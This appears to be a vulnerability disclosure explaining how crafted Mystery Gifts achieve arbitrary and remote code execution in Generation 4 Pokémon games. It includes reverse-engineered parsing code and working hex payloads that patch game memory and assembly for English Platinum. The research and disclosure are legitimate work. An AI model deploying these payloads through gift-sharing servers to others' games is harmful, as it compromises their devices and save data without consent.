Introduction

Arbitrary Code Execution (ACE) is a term used to describe an exploit that grants hackers complete control over a system. This is a huge flaw in a security context, as it compromises the system. In the context of a video game however, it may be used to receive unobtainable items, unlock events or even program custom elements into the game.

Generations 1 to 4 of Pokémon games are notoriously known for having various methods to achieve ACE. In Generation 4, ACE is achievable in Pokémon Diamond and Pearl through an exploit we previously disclosed, known as Arbitrary Script Execution. However, this exploit is unavailable in the other generation 4 games: Pokémon Platinum, Heartgold and Soulsilver. This is due a critical element necessary for the exploit being patched.

This research aims to shed light on several new ACE vectors which make use of maliciously crafted Mystery Gifts. These gifts can be wirelessly transmitted from a server to these games, or even shared from game to game and act as a virus. The attack vectors that are described in this research work universally for all generation 4 Pokémon games, and can allow for full Remote Code Execution (RCE).

Note that reverse-engineered functions and variables may not perfectly match the actual source code.

Wonder Card/Mystery Gift Details

Mystery Gifts can be attached to Wonder Cards, which can be distributed wirelessly. Flags can be set within Wonder Cards to specify what games the card can be shared with. After receiving the Wonder Card, the gift will be accesible in-game. There are two proposed methods for distributing these Wonder Cards.

1. Using ACE in Diamond and Pearl

It is possible to craft the Wonder Cards and gifts and, with the right flags set, directly share them through the built-in wireless feature. This method exploits vulnerabilities within the Generation 4 games themselves, without relying on external systems.

2. Using ndsconstraint

Ever since the discovery of the ndsconstraint exploit by Shutterbug, it is possible to host servers that support standard NDS connection features, including sharing Wonder Cards. Considering regular Wonder Cards are distributed through community servers, it is reasonable to assume that distributing these hacked cards is also achievable by connecting to such servers.

Game Specific Gift Details

There are several types of gifts, which are distinguished through identifiers in their data. Some gifts are unique to specific games. Below you can find a table containing the different gift types for each game.

Gift IdDiamond and PearlPlatinumHeartgold and Soulsilver
0x0NoneNoneNone
0x1PokémonPokémonPokémon
0x2EggEggEgg
0x3ItemItemItem
0x4RegulationRegulationRegulation
0x5Underground GoodsUnderground Goods‘This version cannot receive gifts.’
0x60x1: Seals
0x2: Accessories
0x3 PC Backgrounds
0x1: Seals
0x2: Accessories
0x3 PC Backgrounds
0x1: Seals
0x2: Accessories
0x3 PC Backgrounds
0x7Manaphy EggManaphy EggManaphy Egg
0x8Member CardMember CardMember Card
0x9Oak’s LetterOak’s Letter‘This version cannot receive gifts.’
0xAAzure FluteAzure Flute‘This version cannot receive gifts.’
0xBPoketch ApplicationPoketch Application‘This version cannot receive gifts.’
0xCSecret Key‘This version cannot receive gifts.’
0xDPokémonPokémon
0xEUpgrade Route Map: Refreshing Field
0xFMemorial Photo
Some gifts that are unique to Diamond, Pearl and Platinum are no longer present in Heartgold and Soulsilver. Attempting to receive these prompts the message ‘This version cannot receive gifts.’. The actual gift remains unreceived, leading to a situation where the player becomes unable to receive new gifts on the affected save file as this message will appear each time.

A similar issue also arises if the player received an upgrade to the Route Map that was already received. This prompts the message ‘It already has Refreshing Field, doesn’t it?’.

Gift structure

The following c language struct was infered through reverse-engineering, and is the structure of an ingame Gift. The struct is then parsed to different data types based on the Gift Id. Later in the document specific structs for parsed Gifts will be shown. It’s important to keep in mind that regardless of the size a parsed Gift requires, the gift will be stored using the below struct and have a size of 0x104 bytes.

struct Gift {
    u32 GiftId;
    u8 data[0x100];
}

The Exploits

During the research into these Mystery Gifts and Wonder Cards I found several attack vectors, and proved them to allow for Arbitrary or Remote Code Execution. Each of these attack vectors is explained below.

Attack vector 1: Arbitrary Gift Parsing Functions

For each of the gift types 4 parsing functions are present presumably stored in a struct as follows:

struct GiftFunctions {
    CheckFunction checkFunc; // Function to check if the gift can be received
    ReceiveFunction receiveFunc; // Function to parse and receive the gift's data
    RcvMessage receiveMessage; // Message when the gift is received
    noRcvMessage noreceivedMessage; // Message when the gift cannot be received
};

These structs are stored within an array, one for each of the gift types present in the game. When the player interacts with the Mystery Postman the above functions are ran to receive the gift, based on the gift type. A reverse-engineered version of the function responsible for performing all checks, parsing and validation can be found below.

u32 EventMysteryPostman() {
    // Parse & Get parameter for the script
    u16 scriptParam = GetUnsigned16Param(...);

    switch(scriptParam) {
        case 0: // Initializes Savedata
        case 1: // Checks if Gift Id is non-0
        case 2: // returns the Gift ID itself

        case 3: // runs check on wether gift can be received
            u16 giftId = GetGiftID(...);
            return *giftFunctionTable[giftId]->checkFunc();
            break;

        case 4: // given previous check passed, receive gift
            u16 giftId = GetGiftID(...);
            giftFunctionTable[giftId]->receiveFunc();
            removeGift(); // Sets Gift ID to None, gift data remains
            break;

        case 5: // given check passed, run receiveMessage
            giftFunctionTable[giftId]->receiveMessage;
            break;

        case 6: // given check wasn't passed, run noreceiveMessage
            giftFunctionTable[giftId]->noreceiveMessage;
            break;

        case 7: // Dereferences Savedata
        case 8: // Dereferences Savedata & saves
    }
    return 0;
}

The first attack vector that came to mind is to insert gift Ids that exceed the table length. This results in the GiftFunctions struct to be read past the table, and reads unrelated memory as pointers to functions to execute. This can be leveraged to achieve ACE, provided that the first value in the ‘struct’ is a pointer to a location in controllable memory. In practice, these structs are represented as four consecutive u32 values in memory, interpreted as pointers. It was fairly straightforward to dump all Gift Ids that result in the first pointer of their struct landing in known controllable memory sections. Below you may find a csv containing approximately 100 potential entrance points for Diamond and Pearl is included, although it’s important to consider that the address column may be affected by ASLR (Address Space Layout Randomization). From these options, I proved that both Hall Of Fame and Box Data allow for full Arbitrary Code Execution.

It’s worth noting that this attack vector was independently discovered by three different individuals, including myself. The Japanese community had also identified this vector and used it to set up a backdoor in Diamond and Pearl after setting up ACE through our previously disclosed exploit. However, even the Japanese community wasn’t the first to discover it, as the developers themselves had already become aware of this exploit while developing the successor Pokémon Platinum.

While no sanitization is present in Pokémon Diamond and Pearl, Gift ID validation has been implemented in Pokémon Platinum and HeartGold/SoulSilver, preventing this attack vector from being exploited. Turns out however that the exploit is not as critical as it seems on a first glance. While receiving the gift in-game results in full Arbitrary Code Execution, there is no way to receive a Wonder Card with an invalid gift identifier. When attempting to receive a Wonder Card with an invalid gift identifier Attached, the game fails to initialize a proper display option for the card. This results in a crash that cannot be circumvented.

As a result, the only way to exploit this vector is by already having ACE in Diamond and Pearl and directly writing the gift to memory without using a Wonder Card.

Attack Vector 2: Arbitrary Writes through gift parsing

After establishing that manipulating gift identifiers has a limited scope of exploitability, the focus of the research shifted to the receiveFunctions, the functions responsible for parsing and receiving gifts. Some of these functions set flags or other data in memory to unlock the gift. Rather than using invalid gift identifiers, this research exploits the parsing of the gift data of certain gift types. Since the gift identifiers are still valid, the Wonder Cards will properly initialize a display for them, and the gift can be received even if the remaining gift data is invalid.

This research emphasizes the functions that I was able to find parsing flaws in that allowed for code execution. A common denominator in all these exploits is that they abuse arbitrary writes due to setting flags or other data past their intended buffer size.

1. Parsing Pokétch Applications

The first arbitrary write exploit involves invalid Pokétch Application Identifiers. Pokétch Applications are in-game apps that are accesible on the players watch. There is a clock, stepcounter, calculator, color modifier,…. These Pokétch Applications are stored using flags in a bytefield: 0 represents an unobtained application, and non-zero values indicate that the application has been obtained.

Mystery Gift Structure
struct PoketchGift {
    u32 GiftId; // set to 0xB for PoketchGift
    u32 PoketchApplication; // Application Id
};
Parsing function
boolean AddPoketchApplication(POKETCH_APP_SAVE* appData, intappID) {
    if ((appId < 0)||(24 < appId)){
        ThrowAssert(); // Asserts are disabled
    }

    if(appData->count<25) && (appData->Apps[appId]==0)){
        appData->Apps[appId] = 1;
        appData->count++;

        if(appId==3){
            *appData->pedometerFlag = 1;
        }

        return True;
    }
    return False;
}

At first glance it seems proper validation measures have been taken. The developers ensured that appId can not be negative nor higher than the buffer size by throwing an assert. The issue is that the assert function is disabled in release builds. Therefore, this check doesn’t stop the usage of invalid appIds at all. This now allows us to set flags past or before the appData buffer. The fact appId is a signed 32 bit value allows us to manipulate the entire available memory on the NDS. The limiting factor here is that the code may only write the value 0x1 to memory addresses currently containing 0 as value.

Proof of Concept payload

I theorized we may be able to achieve Arbitrary Script Execution through only writing the value 0x1. Just like in the original Arbitrary Script Execution explanation, we can run Arbitrary Scripts in a map if it contains no scripts, and map script 3 is ran in this map. This may be achieved through interacting with an NPC that has map script 3 linked to it. So how can we get an NPC with this event Id loaded inside a map with no scripts attached to it?

It is possible to change the map index of Canalave’s Pokémon Market from 0x22 to 0x122 through our newly attained arbitrary writes. Canalave Market features an NPC with the attached map script 3, while map 0x122 has no attached scripts. By receiving our gift to change map indexes, then talking to the NPC, the first ACE method for Pokémon Platinum was developed.

Gift 1
0B0000001E010000 // set current map index (Buffer + 0x1E1)
Gift 2
0B00000088070200 // set surrounding map index (Buffer + 0x20788)

It’s worth noting that this exploit has a limited amount of uses, since the Pokétch Application count gets incremented in the parsing function. Once the count reaches 24, attempting to receive new Pokétch Applications fails. Additionally, since Heartgold and Soulsilver do not have access to Pokétch Applications, this exploit is limited to Diamond, Pearl and Platinum.

2. Parsing Seals

Similar to Pokétch Applications, seals are stored in a bytefield. However, instead of setting a flag, the seal count is stored. Whenever a new seal is received, the count is incremented by 1, up to a limit of 99.

boolean AddSeal(SEAL_SAVE_DATA* sealData,intsealId) {
    sealId-=1;

    int count = GetSealCounts(sealData,sealId);
    int totalCount = count + sealData->seals[sealId];

    if ((totalCount+1)<100){
        sealData->seals[sealId] += 1;
        return True;
    }

    return False;
}

As before, we can write before or past the seal buffer using invalid Seal Identifiers. By incrementing any byte in memory by 1, given the result is less than 100, the same arbitrary script execution exploit may be used. Additionally, this exploit can be transformed into full RCE by modifying assembly instructions. Since functions on the NDS get copied to main memory, it is possible to increment the assembly instructions of EventCmdMysteryPostman to directly read the Mystery Gift’s data as code. This does require some creativity, as we have a limited amount of gifts, only can increment the instruction data by 1, and are essentially creating self-modifying code.

Although impractical, the ability to achieve full RCE by incrementing assembly instructions by only 1 presented an intriguing limitation to me. I managed to modify the code in such a way that the pointer to the mystery gift would be used as the receiveFunction to execute, reading the mystery gift data as code to execute. Therefore, below is a proof of concept with addresses for English Pokémon Platinum:

Original Assembly Instructions
// Snippet of code to branch to 'receiveFunc' in EventCmdMysteryPostman.
// r0 contains the pointer to the Mystery Gift at this point.

0204b958 01 1c add r1,r0,#0x0 // move Mystery Gift pointer to r1
0204b95a 20 1c add r0,r4,#0x0
0204b95c 80 30 add r0,#0x80
0204b95e 00 68 ldr r0,[r0,#0x0]
0204b960 6A 68 ldr r2,[r5,#0x4] // load receiveFunc pointer
0204b962 90 47 blx r2 // call receiveFunc
Code after Incrementing Assembly Instructions
// Snippet of code to branch to 'receiveFunc' in EventCmdMysteryPostman.
// r0 contains the pointer to the Mystery Gift at this point.

INCREMENTED 0204b958 02 1c add r1,r0,#0x0 // move Mystery Gift pointer to r2
(...)
INCREMENTED 0204b960 6B 68 ldr r3,[r5,#0x4] // load receiveFunc pointer to r3

0204b962 90 47 blx r2 // call Mystery Gift data as function

By incrementing the 0x01 located at address 0x0204B958 to 02, we can move the Mystery Gift Pointer to r2, which will be branched to at the end. We then load the actual receiveFunction to r3 instead of r2, by incrementing the 0x6A at address 0x0204B960.

However, the above code is not immediately achievable, as 0x6A (106) exceeds 100 and can therefore not be incremented. Thus, we must first disable the checks for wether we may increment. This must be done for both checkFunc and receiveFunc. In the end, 4 gifts are necessary to achieve Remote Code Execution. A 5th gift contains the assembly instructions that will be executed.

Gift 1
0600000001000000E985DAFF // increment 0202cbA4, remove id < 100 check
Gift 2
06000000010000004085DAFF // increment 0202cafb, remove id < 100 check
Gift 3
06000000010000009D73DCFF // increment 0204b958, move Mystery Gift to r2
Gift 4
0600000001000000A573DCFF // increment 0204b960, remove load receiveFunc
Gift 5
xx000000// Any gift will execute ACE in ARM mode, from it's own gift data.
// A Gift's data size is 0x100 bytes.
// Since wiping a Gift only wipes it's ID, data can be stored in all 5 gifts.
// This gives a total of 0x500 bytes to work with in this payload.

Seals make for a better ACE vector than Pokétch Applications, since it can do everything the Pokétch Application vector does and more, while not having any limitations on the amount of uses. Additionally, this version of the exploit works on all generation 4 games.